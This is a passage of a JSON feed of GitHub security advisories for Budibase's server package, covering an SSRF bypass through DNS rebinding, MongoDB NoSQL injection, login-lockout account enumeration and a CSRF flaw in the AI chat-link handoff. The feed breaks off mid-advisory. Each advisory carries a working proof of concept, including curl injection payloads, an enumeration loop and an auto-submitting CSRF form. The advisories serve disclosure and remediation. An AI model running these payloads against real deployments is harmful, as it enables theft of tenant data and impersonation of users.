A.includes(\"INTERNAL_SECRET_RESPONSE\"), contained = !B.includes(\"INTERNAL_SECRET_RESPONSE\")\n  console.log(`\\nRESULT: ${bypass \u0026\u0026 contained ? \"PASS - undici path BYPASSES guard, node-fetch path CONTAINED\" : \"FAIL\"}`)\n  server.close(); process.exit(bypass \u0026\u0026 contained ? 0 : 1)\n}\nmain()\nEOF\n\n# 4) Deps, bundle, run\nnpm init -y \u003e/dev/null 2\u003e\u00261\nnpm install undici@6 node-fetch@2 esbuild\nnpx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs\nnode entry.cjs\n```\n\n**Expected output** (the port is the only variable):\n\n```\n[*] internal service 127.0.0.1:\u003crandom\u003e; guard validates host -\u003e 203.0.113.10 (safe), pins to it\n(A) REST/undici path  -\u003e status 200 body=INTERNAL_SECRET_RESPONSE\n(B) node-fetch path   -\u003e ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:\u003crandom\u003e/\n\nRESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED\n```\n\n**How to read it:**\n- **(A)** the real `fetchWithBlacklist` validated and pinned the safe public IP `203.0.113.10`, yet the undici REST transport re-resolved `localhost` and reached `127.0.0.1` — the internal service responded → **SSRF bypass**.\n- **(B)** the default node-fetch path honored the pin (forced to the unroutable `203.0.113.10`) and never reached the internal service. The `\"Failed to connect to resolved IP for localhost\"` string is emitted by the real `outboundFetch.ts`, proving the pin works there. This is the negative control localizing the bug to the undici transport.\n\n**Real-world variant:** instead of `localhost`, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard's validation lookup and an internal IP (`169.254.169.254`, `127.0.0.1`, internal CouchDB/Redis) at undici's connect-time lookup; the REST datasource query then returns the internal response body to the attacker.\n\n### Impact\n**Type:** Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).\n\n**Who is impacted:** Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.\n\n**Realistic worst case:** An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server:\n- read cloud metadata (`http://169.254.169.254/...`) → steal IAM credentials → **cloud account compromise**;\n- read the internal CouchDB (`http://127.0.0.1:5984/_all_dbs`, `_users`) → **all tenants' apps, users, and secrets**;\n- using `PUT`/`POST`/`DELETE` against unauthenticated localhost services → create admin documents, modify or **delete** tenant databases / flush caches → integrity and availability loss for all co-tenants.\n\n### CVSS 3.1 Vector Justification\n\n| Metric | Value | Why |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | Triggered through Budibase's HTTP API / app (a REST datasource query). |\n| Attack Complexity (AC) | High (H) | Requires DNS rebinding — the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. |\n| Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). |\n| User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. |\n| Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). |\n| Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant's apps, users, secrets). |\n| Integrity (I) | High (H) | Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) → create admin docs, modify tenant data. |\n| Availability (A) | High (H) | The same write primitive can `DELETE` databases / flush Redis → full data/service loss for all tenants. |\n\n**Notes:** AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), `AC:L` yields `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`. A conservative read-only interpretation  is `I:N/A:N`.\n\n### Suggested remediation\n\nMake the transport that actually performs the request honor the validated IP. In `getDispatcher`/`rest.ts`, construct the undici `Agent` with a `connect: { lookup }` (or custom `connect`) that returns **only** the `pinnedIp` resolved by `fetchWithBlacklist` (i.e., mirror `makePinnedAgent` for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against `isBlacklisted` inside the undici `connect` callback. The Node-`agent` pin must not be relied upon when the request is issued through undici.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:44:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-v42f-v8xc-j435","https://github.com/Budibase/budibase/pull/19178","https://github.com/Budibase/budibase/commit/1fecb3fc3497e8db7b60b42cc514ce304ffe3a41","https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3","https://github.com/Budibase/budibase/commit/586802b5706367520d14245e18a7d0cabab0be11","https://github.com/Budibase/budibase/releases/tag/3.39.30","https://github.com/advisories/GHSA-v42f-v8xc-j435"],"source_kind":"github","identifiers":["GHSA-v42f-v8xc-j435","CVE-2026-73410"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-08-19T22:00:27.317Z","epss_percentage":0.00171,"epss_percentile":0.06814,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NDJmLXY4eGMtajQzNc4ABftA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12NDJmLXY4eGMtajQzNc4ABftA","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NDJmLXY4eGMtajQzNc4ABftA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbXBnLTJteHEtNnh3cs4ABfs_","url":"https://github.com/advisories/GHSA-pmpg-2mxq-6xwr","title":" Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete","description":"## Summary\n\nAn end-user injection in Budibase's MongoDB datasource lets any BASIC app user bypass the builder's query-level access controls. Builders scope MongoDB reads per-user with bindings like `{\"email\": \"{{ currentUser.email }}\"}` so each app user only sees their own rows. Because the binding is handlebars-enriched into the query JSON with `noEscaping: true` and then `JSON.parse`d, Bob (a BASIC user) overrides the builder's filter with a MongoDB operator and reads every document the connection can touch. SQL datasources are parameterized through `interpolateSQL()`; the MongoDB path has no equivalent, so the scoping pattern Budibase's own docs show is unsafe.\n\n## Details\n\n### Enrichment\n\n`packages/server/src/sdk/workspace/queries/queries.ts:105-125` enriches every string field of the query with handlebars, then parses the enriched `json` field:\n\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n  noEscaping: true,\n  noHelpers: true,\n  escapeNewlines: true,\n})\n// ...\nenrichedQuery.json = JSON.parse(\n  enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody\n)\n```\n\n`noEscaping: true` turns `{{name}}` into `{{{name}}}`, which Handlebars renders without HTML-escaping. Any `\"` or `}` the attacker supplies lands verbatim in the enriched string. `JSON.parse` then produces a structured object whose top-level keys and operators came from the parameter value.\n\n### Execution\n\n`packages/server/src/integrations/mongodb.ts:499-512`:\n\n```typescript\nasync read(query: MongoDBQuery) {\n  try {\n    await this.connect()\n    const db = this.client.db(this.config.db)\n    const collection = db.collection(query.extra.collection)\n    let json = this.createObjectIds(query.json)\n    switch (query.extra.actionType) {\n      case \"find\": {\n        if (json) {\n          return await collection.find(json).toArray()\n        }\n```\n\n`createObjectIds` walks the object and rewrites strings that look like `ObjectId(...)`. It does not strip `$`-prefixed keys and does not reject operator-shaped values. The injected filter reaches `collection.find` unchanged.\n\nFor comparison, SQL datasources go through `interpolateSQL` at `packages/server/src/threads/query.ts:145`, which parameterizes bindings into driver-level bind variables. The MongoDB path has no equivalent.\n\n### Duplicate-key trick\n\nThe template gives the attacker one substitution point inside the `name` value. The outer `{\"name\": \"` / `\"}` is fixed. The attacker's payload:\n\n```\nx\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033\n```\n\nRenders to:\n\n```json\n{\"name\": \"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033\"}\n```\n\n`JSON.parse` keeps the last value for a duplicate key (ECMA-404 leaves this implementation-defined; V8 and Node's `JSON.parse` keep the last), so the parsed object is:\n\n```js\n{ name: { $ne: \"x\" }, $comment: \"bud-033\" }\n```\n\n`$comment` is a MongoDB meta operator that the server accepts and ignores, so it consumes the template's trailing `\"}` without restricting the query. The filter that reaches MongoDB is `name != \"x\"`, which matches every document.\n\n## Proof of Concept\n\nTested against Budibase 3.35.8 (master at f960e361) and MongoDB 6.\n\nStep 1: Admin creates a MongoDB datasource and seeds three documents:\n\n```bash\ndocker run -d --name mongo -p 27017:27017 mongo:6\ndocker exec mongo mongosh --quiet --eval '\n  db = db.getSiblingDB(\"testdb\");\n  db.users.insertMany([\n    {name:\"alice\", email:\"alice@x.com\", secret:\"public-alice\"},\n    {name:\"bob\",   email:\"bob@x.com\",   secret:\"PRIVATE-BOB\"},\n    {name:\"eve\",   email:\"eve@x.com\",   secret:\"PRIVATE-EVE\"}\n  ]);'\n```\n\nStep 2: Alice, a builder, configures the datasource and writes a MongoDB query `find-by-name` whose `json` field is `{\"name\": \"{{name}}\"}`. She publishes the app and grants Bob (BASIC) a role on it.\n\nStep 3: Bob, logged in as BASIC with a role on the published app, executes the query via the standard execute endpoint. `POST /api/queries/:queryId` is reachable by any app role with permission on the query (it is how Budibase renders query-backed tables to end users):\n\n```bash\ncurl -sS -b \"$BOB_COOKIE\" -X POST \"$BASE/api/queries/$QUERY_ID\" \\\n  -H \"Content-Type: application/json\" -H \"x-budibase-app-id: $PROD_APP\" \\\n  -d '{\"parameters\":{\"name\":\"x\\\", \\\"name\\\": {\\\"$ne\\\": \\\"x\\\"}, \\\"$comment\\\": \\\"bud-033\"}}'\n```\n\nLegitimate `name=alice` returned only Alice:\n\n```json\n[{\"_id\":\"...\",\"name\":\"alice\",\"email\":\"alice@x.com\",\"secret\":\"public-alice\"}]\n```\n\nThe injection payload returned all three documents:\n\n```json\n[\n  {\"_id\":\"...\",\"name\":\"alice\",\"email\":\"alice@x.com\",\"secret\":\"public-alice\"},\n  {\"_id\":\"...\",\"name\":\"bob\",  \"email\":\"bob@x.com\",  \"secret\":\"PRIVATE-BOB\"},\n  {\"_id\":\"...\",\"name\":\"eve\",  \"email\":\"eve@x.com\",  \"secret\":\"PRIVATE-EVE\"}\n]\n```\n\nMongoDB's profiling confirmed the filter that reached the server:\n\n```json\n{\"find\":\"users\",\"filter\":{\"name\":{\"$ne\":\"never-matches\"},\"$comment\":\"bud-033\"}}\n```\n\n## Impact\n\nThe builder's per-user filter collapses. A BASIC end-user who is only meant to read their own documents reads everyone's.\n\nConcrete scenario: builder publishes an app whose \"My records\" screen runs a MongoDB query with `json` = `{\"email\": \"{{ currentUser.email }}\"}`. Each app user is supposed to see only the rows where `email` matches their session. Bob, a BASIC user in that app, sends `bob@x.com\", \"email\": {\"$ne\": \"x\"}, \"$comment\": \"x` as the `currentUser.email` binding replacement and receives every row in the collection, including other tenants' users, admin records, and any secret fields the builder stored alongside.\n\nThe blast radius depends on what the builder exposed:\n\n- **Read queries**: full-collection dump (demonstrated above: three docs returned where the scoped filter returned one, including other users' secrets).\n- **`$where` operator**: arbitrary JavaScript inside the MongoDB server process. The attacker exfiltrates any field of any document through the JS expression or via timing side channels.\n- **`$function` / `$accumulator`** (MongoDB 4.4+): arbitrary JS in aggregation stages.\n- **`$lookup`**: cross-collection joins within the same database. If the MongoDB datasource holds admin tokens or sensitive collections next to the one the builder queried, the injection reaches them.\n- **`update` / `delete` action types**: the filter injection rewrites the affected-document set. One request wipes or rewrites every document the connection can reach.\n\nThe blast radius is the builder's own MongoDB deployment, not Budibase infrastructure. Budibase does not ship or run MongoDB; this connector talks to the customer's external Mongo, so the attacker reads and writes data the builder's connection has access to and does not cross into Budibase's tenant boundary, CouchDB, MinIO, or Redis. The vulnerable pattern (`{{binding}}` inside the JSON body) is the exact shape Budibase's documentation shows for parameterized MongoDB queries, and there is no in-product warning that MongoDB behaves differently from SQL. CVSS reflects the common read-query scope (filter bypass on a single collection); the `$where` / `$lookup` / write-action paths exist but depend on what primitives the builder exposed.\n\n## Recommended Fix\n\nStrip `$`-prefixed keys from any object that originates from user-controlled parameters before it reaches `collection.find`/`updateOne`/`deleteOne`. A single guard in `createObjectIds` covers the read, update, and delete paths:\n\n```typescript\n// packages/server/src/integrations/mongodb.ts:394 (createObjectIds)\nconst DANGEROUS = new Set([\n  \"$where\", \"$function\", \"$accumulator\",\n  \"$expr\", \"$regex\", \"$ne\", \"$nin\", \"$gt\", \"$gte\", \"$lt\", \"$lte\",\n  \"$or\", \"$and\", \"$nor\", \"$not\", \"$exists\", \"$type\", \"$mod\",\n  \"$text\", \"$comment\",\n])\n\nfunction stripOperators(obj: any): any {\n  if (obj === null || typeof obj !== \"object\") return obj\n  if (Array.isArray(obj)) return obj.map(stripOperators)\n  const cleaned: Record\u003cstring, any\u003e = {}\n  for (const [k, v] of Object.entries(obj)) {\n    if (DANGEROUS.has(k)) continue\n    cleaned[k] = stripOperators(v)\n  }\n  return cleaned\n}\n```\n\nA safer fix mirrors the SQL path: introduce a MongoDB-aware enrichment that binds parameters as values instead of string-substituting them into the query JSON. That eliminates the whole class.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:43:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-pmpg-2mxq-6xwr","https://github.com/Budibase/budibase/pull/18907","https://github.com/Budibase/budibase/commit/dd8c0654b35cd89ce3645f2355f4bf2ff9a5dd80","https://github.com/Budibase/budibase/releases/tag/3.39.9","https://github.com/advisories/GHSA-pmpg-2mxq-6xwr"],"source_kind":"github","identifiers":["GHSA-pmpg-2mxq-6xwr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-07-26T14:00:09.092Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXBnLTJteHEtNnh3cs4ABfs_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbXBnLTJteHEtNnh3cs4ABfs_","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXBnLTJteHEtNnh3cs4ABfs_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcjdwLWNyM3EtaDVjbc4ABfs-","url":"https://github.com/advisories/GHSA-cr7p-cr3q-h5cm","title":" Budibase: Account Enumeration via Login Lockout Response Differential","description":"## Summary\n\nThe login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct `403` response with `X-Account-Locked: 1` and `Retry-After: 900` headers plus the message \"Account temporarily locked.\" For non-existing users, the response is always a generic `403 \"Unauthorized\"` regardless of attempt count, because the lockout counter is never incremented.\n\n## Details\n\nThe vulnerability exists in two files that implement the login lockout feature:\n\n**`packages/worker/src/middleware/lockout.ts:18-36`** — The lockout middleware only blocks requests for users that exist in the database AND are locked:\n\n```typescript\nexport default async (ctx: Ctx, next: Next) =\u003e {\n  const email = ctx.request.body.username\n  if (!email) {\n    return await next()\n  }\n  const dbUser = await userSdk.db.getUserByEmail(email)\n  if (dbUser \u0026\u0026 (await isLocked(email))) {  // line 26: non-existing users skip this entirely\n    ctx.set(\"X-Account-Locked\", \"1\")\n    ctx.set(\"Retry-After\", String(env.LOGIN_LOCKOUT_SECONDS))\n    ctx.throw(403, \"Account temporarily locked. Try again later.\")\n  }\n  return await next()\n}\n```\n\n**`packages/worker/src/api/controllers/global/auth.ts:127-141`** — The login handler only increments the failure counter for existing users:\n\n```typescript\nif (err || !user) {\n  if (dbUser) {          // line 129: non-existing users never trigger onFailed()\n    await onFailed(email)\n  }\n  if (await isLocked(email)) {\n    return handleLockoutResponse(ctx, email)\n  }\n  // ...\n  return passportCallback(ctx, user as any, err, info)\n}\n```\n\n**Execution flow for existing users (after 5 failed attempts):**\n1. `lockout` middleware → `getUserByEmail` returns user → `isLocked` returns true → 403 + `X-Account-Locked: 1` + `Retry-After: 900` + \"Account temporarily locked\"\n\n**Execution flow for non-existing users (any number of attempts):**\n1. `lockout` middleware → `getUserByEmail` returns null → `dbUser \u0026\u0026 isLocked` is false → passes through\n2. Login handler → passport fails → `if (dbUser)` is false → `onFailed()` never called → lock never set\n3. Always returns 403 \"Unauthorized\"\n\nNo IP-based rate limiting exists on the login endpoint (`POST /api/global/auth/:tenantId/login`). The route is registered via `loggedInRoutes` which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not.\n\n## PoC\n\n```bash\n# Test against a known-existing email and a non-existing email\n# Replace 'default' with the target tenant ID\n\n# Step 1: Send 6 login attempts for an existing user\necho \"=== Testing existing user ===\"\nfor i in $(seq 1 6); do\n  echo \"--- Attempt $i ---\"\n  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"local@budibase.com\",\"password\":\"wrongpassword\"}' 2\u003e\u00261 \\\n    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'\n  echo \"\"\ndone\n\n# Expected: Attempts 1-5 return \"Unauthorized\"\n# Attempt 6 returns: \"Account temporarily locked\" + X-Account-Locked: 1 + Retry-After: 900\n\n# Step 2: Send 6 login attempts for a non-existing user\necho \"=== Testing non-existing user ===\"\nfor i in $(seq 1 6); do\n  echo \"--- Attempt $i ---\"\n  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"nonexistent@example.com\",\"password\":\"wrongpassword\"}' 2\u003e\u00261 \\\n    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'\n  echo \"\"\ndone\n\n# Expected: All 6 attempts return \"Unauthorized\" — no lockout ever triggers\n\n# The difference in behavior after 5 attempts confirms whether the email exists.\n```\n\n## Impact\n\n- **Account enumeration**: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to \"Account temporarily locked\" with the `X-Account-Locked` header.\n- **No rate limiting**: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email).\n- **Denial of service side-effect**: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window.\n- **Enables further attacks**: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering.\n\n## Recommended Fix\n\nThe lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:\n\n**`packages/worker/src/middleware/lockout.ts`** — Remove the `dbUser` check:\n\n```typescript\nexport default async (ctx: Ctx, next: Next) =\u003e {\n  const email = ctx.request.body.username\n  if (!email) {\n    return await next()\n  }\n  // Check lock status based on email alone, not user existence\n  if (await isLocked(email)) {\n    ctx.set(\"X-Account-Locked\", \"1\")\n    ctx.set(\"Retry-After\", String(env.LOGIN_LOCKOUT_SECONDS))\n    ctx.throw(403, \"Account temporarily locked. Try again later.\")\n  }\n  return await next()\n}\n```\n\n**`packages/worker/src/api/controllers/global/auth.ts`** — Remove the `dbUser` guard around `onFailed`:\n\n```typescript\nif (err || !user) {\n  // Always increment failure counter regardless of user existence\n  await onFailed(email)\n  if (await isLocked(email)) {\n    return handleLockoutResponse(ctx, email)\n  }\n  // ...\n}\n```\n\nAdditionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T21:43:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-cr7p-cr3q-h5cm","https://github.com/Budibase/budibase/pull/19108","https://github.com/Budibase/budibase/commit/eaae816ab81615c07eb10e4619af078d00e2a706","https://github.com/Budibase/budibase/releases/tag/3.39.25","https://github.com/advisories/GHSA-cr7p-cr3q-h5cm"],"source_kind":"github","identifiers":["GHSA-cr7p-cr3q-h5cm","CVE-2026-73306"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-09-12T11:00:57.753Z","epss_percentage":0.00416,"epss_percentile":0.35035,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcjdwLWNyM3EtaDVjbc4ABfs-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcjdwLWNyM3EtaDVjbc4ABfs-","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcjdwLWNyM3EtaDVjbc4ABfs-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wdmNyLThtdnAtdzhxcs4ABfs9","url":"https://github.com/advisories/GHSA-pvcr-8mvp-w8qr","title":" Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF)","description":"### Summary\n\nThe Budibase AI chat-link handoff flow (`GET/POST /api/chat-links/:instance/:token/handoff`) binds an **external chat identity** (Slack/Discord/MS Teams/Telegram) to a **Budibase user account**. The confirmation endpoint is on a **public route** (no CSRF middleware, no auth-group gate) and the only credential it checks is a `confirmationToken` that is **already rendered in plaintext into the HTML confirmation page** the victim views. There is no binding between the confirmation token and the requester's Budibase session at preparation time, and no CSRF token on the POST.\n\nConsequently, an attacker who creates a chat-link session for **their own** external chat identity (or any identity they can mint in their chat platform) can induce a victim Budibase user (same tenant) to submit the confirmation POST -\u003e for example by sending them a link that auto-submits, or by XSS/CSRF on a co-tenanted page -\u003e and the victim's `globalUserId` becomes bound to the attacker's external identity. The attacker then sends messages to the AI agent from their chat platform and is **acting as the victim user** inside Budibase automations/agent operations, inheriting the victim's permissions on agent operations, knowledge sources, and any downstream automation steps keyed off the linked identity.\n\n---\n\n### Affected\n\n| Component | Path | Lines |\n|---|---|---|\n| Public handoff routes (no auth-group middleware) | `packages/server/src/api/routes/chat.ts` | `23` (`GET /api/chat-links/:instance/:token/handoff`), `27` (`POST .../handoff`) |\n| Confirmation controller | `packages/server/src/api/controllers/ai/chatIdentityLinks.ts` | `124-177` (`confirmChatLinkSession`); the binding at `153-173` |\n| Confirmation token rendered into HTML | `packages/server/src/api/controllers/ai/chatIdentityLinks.ts` | `40-60` (`renderLinkConfirmationPage`); the hidden input at `55` |\n| Session creation (attacker side) | `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts` | `138-171` (`createChatIdentityLinkSession`), `173-188` (`prepareChatIdentityLinkSessionConfirmation`) |\n| Upsert of identity link | `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts` | `201-250` (`upsertChatIdentityLink`) |\n\n**Affected versions:** `master` at commit `3c8d1b4023`.\n\n**Reachable over HTTP by:** the GET and POST are on `publicRoutes` (no auth-group middleware). The POST requires `ctx.isAuthenticated` at runtime (`controllers/ai/chatIdentityLinks.ts:142`) -\u003e so the victim must be logged into Budibase when the POST fires (achievable via standard CSRF if cookies are sent cross-origin, or via phishing that lures the victim to submit).\n\n---\n\n### Root cause\n\n**Issue 1 -\u003e The handoff routes are public and unauthenticated at the middleware layer.**\n\n```ts\n// packages/server/src/api/routes/chat.ts:23, 27\npublicRoutes.get(\"/api/chat-links/:instance/:token/handoff\", ai.handoffChatLinkSession)\npublicRoutes.post(\"/api/chat-links/:instance/:token/handoff\", ai.confirmChatLinkSession)\n```\n\n`publicRoutes` has **no group middleware** (`endpointGroups/standard.ts:24-25` calls `endpointGroupList.group()` with no middleware and then `.lockMiddleware()`). The routes do not have a per-route `authorized(...)`. There is **no CSRF middleware** on these routes -\u003e Budibase's CSRF synchroniser token is enforced only for state-changing verbs on authenticated routes that are not in `NO_CSRF_ENDPOINTS`; the public-routes path bypasses it.\n\n**Issue 2 -\u003e The confirmation token is exposed to anyone who views the GET page.**\n\n```ts\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:40-60\nconst renderLinkConfirmationPage = (session, action) =\u003e {\n  ...\n  return `\u003c!doctype html\u003e...\n    \u003cform method=\"post\" action=\"${helpers.escapeHtml(action)}\"\u003e\n      \u003cinput type=\"hidden\" name=\"confirmationToken\" value=\"${helpers.escapeHtml(session.confirmationToken)}\"\u003e\n      \u003cbutton type=\"submit\"\u003eConfirm\u003c/button\u003e\n    \u003c/form\u003e\n  ...`\n}\n```\n\nThe `confirmationToken` (a `newid()` UUIDv4 generated by `prepareChatIdentityLinkSessionConfirmation`) is rendered into a hidden form input. Anyone who loads the GET page sees the token in the page source.\n\n**Issue 3 -\u003e The POST binds the **currently-authenticated user** to the external identity based solely on the confirmation token.**\n\n```ts\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:124-177\nexport async function confirmChatLinkSession(ctx) {\n  ...\n  if (!ctx.isAuthenticated) { throw new HTTPError(\"Authentication is required to link chat identity\", 401) }\n  if (!session.confirmationToken || ctx.request.body?.confirmationToken !== session.confirmationToken) {\n    throw new HTTPError(\"Link confirmation is invalid or has expired\", 400)\n  }\n\n  const currentGlobalUserId = getCurrentGlobalUserId(ctx)        // \u003c- victim's ID\n  const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)\n  ...\n  await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({\n    provider: consumedSession.provider,\n    externalUserId: consumedSession.externalUserId,              // \u003c- attacker's chat identity\n    externalUserName: consumedSession.externalUserName,\n    ...\n    globalUserId: currentGlobalUserId,                            // \u003c- bound to victim\n    linkedBy: currentGlobalUserId,\n  })\n  ...\n}\n```\n\nThere is **no binding between the session and the requester's Budibase identity at preparation time**. `prepareChatIdentityLinkSessionConfirmation` (`sdk/workspace/ai/chatIdentityLinks.ts:173-188`) stores the `confirmationToken` keyed by `token` with no user-id field. Whoever is authenticated when the POST fires (and supplies the correct `confirmationToken`) gets bound.\n\n**Issue 4 -\u003e `assertSessionMatchesInstance` only checks workspace ID, not user.**\n\n```ts\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:17-27\nconst assertSessionMatchesInstance = ({ workspaceId, instance }) =\u003e {\n  if (!workspaceId || workspaceId !== instance) {\n    throw new HTTPError(\"Link token is not valid for this workspace\", 400)\n  }\n}\n```\n\nThe check confirms the session belongs to the same workspace as the URL `instance` param -\u003e useful for preventing cross-workspace confusion but useless against same-tenant identity confusion.\n\n---\n\n### Reproduction\n\n**Step-by-step attack**\n\n1. **Attacker (tenant T) provisions a chat-link session for their own external identity.** Via the agent channel provisioning flow (e.g. `POST /api/agent/:agentId/slack/provision` or via the Discord/MS Teams/Telegram provisioning endpoints), the attacker obtains a chat-link `token` bound to **their own** Slack user ID. The session is stored in Redis keyed by `token`, scoped to tenant T.\n\n2. **Attacker triggers `prepareChatIdentityLinkSessionConfirmation`.** Either by GETting the handoff page themselves (if they have a Budibase session) or via an internal API. The `confirmationToken` is generated and stored.\n\n3. **Attacker crafts a phishing/auto-submit page** that POSTs to `/api/chat-links/\u003cinstance\u003e/\u003ctoken\u003e/handoff` with the leaked `confirmationToken` in the body. Example:\n\n   ```html\n   \u003cform id=\"f\" method=\"post\" action=\"https://victim.budibase.app/api/chat-links/app_xxx/linktoken/handoff\"\u003e\n     \u003cinput name=\"confirmationToken\" value=\"\u003cleaked-token\u003e\"\u003e\n   \u003c/form\u003e\n   \u003cscript\u003edocument.getElementById('f').submit()\u003c/script\u003e\n   ```\n\n4. **Victim (a Budibase user in tenant T, e.g. an admin) is lured to the attacker page** while logged into Budibase. Their browser sends the POST cross-origin. If the Budibase auth cookie is sent on cross-site requests (`SameSite=Lax` by default allows top-level POST navigations, which a form-submit is), the request is authenticated as the victim.\n\n5. **The victim's `globalUserId` is now bound to the attacker's Slack identity.** When the attacker DMs the AI agent from Slack, the agent's operations run as the victim user -\u003e with the victim's permissions on agent operations, knowledge sources, file uploads, and any downstream automation steps keyed off the linked identity.\n\n**Mitigating factors:**\n- `SameSite=Lax` cookies block cross-site POSTs from sub-resources (fetch / XHR) but **allow** top-level form-POST navigations. A phishing page that submits the form via `document.form.submit()` (a top-level navigation) succeeds. So the CSRF works with the default cookie policy.\n- The attack is **same-tenant only** (`session.tenantId !== context.getTenantId()` is checked in the sdk).\n- The attacker must induce the victim to click a link (standard phishing). No silent drive-by.\n\n---\n\n### Impact\n\n| Capability | Available |\n|---|---|\n| Bind an attacker-controlled chat identity to a victim's Budibase account | ✅ |\n| Send messages to the AI agent as the victim user (Slack/Discord/MS Teams/Telegram) | ✅ |\n| 